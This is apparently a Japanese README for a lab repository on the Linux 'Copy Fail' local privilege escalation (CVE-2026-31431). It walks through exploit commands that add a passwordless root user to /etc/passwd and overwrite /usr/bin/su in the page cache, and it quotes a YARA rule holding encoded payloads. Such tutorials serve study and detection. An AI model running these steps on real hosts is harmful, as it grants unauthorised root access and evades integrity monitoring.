
Linux カーネルの Copy Fail ローカル権限昇格脆弱性である CVE-2026-31431 のデモンストレーションと解説。 この脆弱性により、読み取り権限で開かれたファイルのデータがページキャッシュ内で上書きされる可能性があります。
このリポジトリは教育目的のみであり、制御された環境で脆弱性を説明するものです。 含まれるファイルは以下の通りです:
├── exploit
│ ├── copy_fail.py # 読み取り権限を持つ任意のファイルを対象にできるカスタムエクスプロイト
│ ├── original_payload.txt # 元のエクスプロイトで使用されたペイロードのコピー
│ ├── copy_fail_original.py # /usr/bin/su を上書きする元のエクスプロイト
│ └── copy_fail_readable.py # ペイロードの説明付きで、より読みやすい形式にした元のエクスプロイト
├── README.md
└── Vagrantfile # Ubuntu 22.04 を実行する Vagrant VM のセットアップ
Copy Fail と名付けられたこの脆弱性は、algif_aead の論理的な欠陥により、2017 年から 2026 年までの Linux カーネルに存在します。CVE-2026-31431 が割り当てられ、CVSS スコアは 7.8 で、深刻度は高となっています。このエクスプロイトは決定論的であり、従来のファイル整合性監視ツールを回避できます。
概念実証は C、Python、Go など様々な言語で公開されていますが、このデモンストレーションでは Python を使用し、Python バージョン 3.10 以上が必要です。 このエクスプロイトは、非特権ユーザーとしてのローカルコード実行を必要とし、ローカル権限昇格に使用できます。
以下のセクションは次の通りです:
Vagrant と QEMU がインストールされていることを確認してください。次に、このリポジトリをクローンし、プロジェクトディレクトリに移動します。
vagrant up
vagrant ssh
VM 内で、私たちの能力の限界をテストできます。
id # uid=1000(vagrant) gid=1000(vagrant) groups=1000(vagrant)
su # root パスワードの入力を求められるが、私たちは持っていない
stat /usr/bin/su # 読み取りと実行の権限がある
stat /etc/passwd # 読み取り権限がある
stat /etc/shadow # 権限がない
私たちの能力は明らかに制限されていますが、この脆弱性を利用して権限を昇格できます。
脆弱性を理解するために、ダミーファイルを上書きして何が起こるか見てみましょう。
echo -e "ABCDE\nF\nG" > dummy.txt
cat dummy.txt
3 行のファイルがあります。最初の行は 6 バイト (改行を含む)、2 行目は 2 バイト、3 行目は 1 バイトです。これは重要です。なぜなら、エクスプロイトはデータを 4 バイトのブロックで上書きし、ペイロードを埋めるためにパディングするからです。
python3 exploit/copy_fail.py --target dummy.txt --payload "123456"
cat dummy.txt
ファイルの最初の 8 バイトがペイロードで置き換えられたことがわかります。表示されていないが存在する 2 文字があります。nano でファイルを開いて確認してください。
しかし、これはあまり面白くないので、書き込み権限のないファイルへの書き込みに進みましょう。
/etc/passwd の内容を上書きして、root 権限を持つがパスワードのないユーザーを追加できます。
cat /etc/passwd
最初の行には root ユーザーが含まれ、4 文字 (改行を含む) の 8 グループで構成されています。フォーマットは root:x:0:0:root:/root:/bin/bash で、値はそれぞれユーザー名、パスワード、UID、GID、ホームディレクトリ、シェルを指します。
python3 exploit/copy_fail.py --target /etc/passwd --payload "hackd::0:0:root:/root:/bin/bash
"
cat /etc/passwd
UID 0 と GID 0 を持つ新しいユーザー hackd を追加しました。これは root 権限を持つことを意味します。パスワードフィールドは空なので、パスワードなしでログインできます。
su hackd
id
cat /etc/shadow
元のエクスプロイトでは、バイナリ /usr/bin/su がシェルを実行する命令で上書きされ、su を実行したときに攻撃者が root 権限を取得できるようにします。ファイルから元のペイロードを使用して /usr/bin/su を対象にすることで、このエクスプロイトを再現できます。
これはこのページキャッシュ内の su バイナリを破壊することに注意してください。
python3 exploit/copy_fail.py --target /usr/bin/su --payload-file exploit/original_payload.txt
ペイロードが配置された状態で、su を実行して root 権限を取得できます。これによりユーザー ID 0 のシェルが開きます。これは通常 root ユーザーですが、上記のデモを実行した場合は、作成した hackd ユーザーになります。このエクスプロイトは、root ユーザーにパスワードが設定されていてもシェルを開きます。
su
id
このエクスプロイトはディスク上のファイルを変更するのではなく、ページキャッシュの状態を変更します。その結果、ディスク上のファイルの変更をチェックする従来のファイル整合性監視ツールでは、このエクスプロイトを検知できません。
これを実証するには、上記のエクスプロイトを実行し、VM を再起動した後にターゲットファイルの内容を確認してください。
vagrant halt
vagrant up
vagrant ssh
cat /etc/passwd # ファイルはディスク上では変更されていない
検知ルールは、ネットワーク指標や既知のスクリプトパターンを検知しようとするコミュニティの GitHub リポジトリで共有されています。これらの検知ルールは、公開された PoC の成果物、既知のペイロード、コード断片、URL に基づいています。
例えば、以下は特定の PoC 関連のコード断片やエンコードされたペイロードを検知します:
rule EXPL_LNX_Copy_Fail_Artefacts_CVE_2026_31431_Apr26 {
meta:
...
strings:
...
// Code fragments from public PoCs
$xs1 = "| python3 && su"
$xs2 = "g.open(\"/usr/bin/su\",0);i=0;"
$xs3 = "[-] page-cache mutation failed"
$xs4 = "[+] /etc/passwd page cache mutated"
$xs5 = "bind(AF_ALG: authencesn(hmac(sha256),cbc(aes)))"
$xs6 = "/tmp/.cve_test"
...
// Payloads used in the Go version
$xg1 = "789cab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c00111d10d3"
$xg2 = "789cab77f57163646464800126066606102fa48185c38401014c18141860aae0aa816a40b806c80461569098000383e101c3db1bae9e6d303c1090a1af5f9c91a19f9499d7f93820b8f361e7a10ddc4089db598c11671b0038b31858"
$xg3 = "78daab77f5716362646480012686ed0c205e05830398efc080091c182c18603a40342b9a2c32bd06ca5b039787e96cb8e4e1d47009c8bb0214126004f29980788534540cc4e686b0f59332f3f48b3318003ff61578"
$xg4 = "789cab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e02e5c1680601086578c0f0ff864c7e568fee1a1501c36f59d61133f9590dff67d944f0b3020082b00eaf"
$xg5 = "789cab77f57163646464800126066606102fa48185c38401014c18141860aae0aa816a40381fc80461569098000383e101c3db1bae9e6de88e51e1303c99c51d31f36c83e1ed2cc688b30d001bf41180"
$xg6 = "789cab77f5716362646480012686ed0c205e05830398efc080091c182c18603a40342b9a2c32bd04ca5b029787e96cb8e421d47009c8bbf280dbe1272390cf04c42ba4216220f915dc103600d72b1509"
...
condition:
1 of ($x*)
or ($sa1 and 1 of ($sb*))
}
エクスプロイトでは以下のコンポーネントが使用されています:
AD||CT||TAGTAG の後にコピーすることでその順序をインプレースで入れ替えるseqno_hi||seqno_lo||CT||TAG -> seqno_lo||seqno_hi||CT||TAG||seqno_loこの脆弱性を生み出したインプレース最適化を有効にしたコミット:
https://github.com/torvalds/linux/commit/72548b093ee38a6d4f2a19e6ef1948ae05c181f7
パッチは公開告知なしで作成され、algif_aead のインプレース操作の機能を削除しました:
https://github.com/torvalds/linux/commit/a664bf3d603dc3bdcf9ae47cc21e0daec706d7a5
さらに読む:
Python 実装
C 実装
Go 実装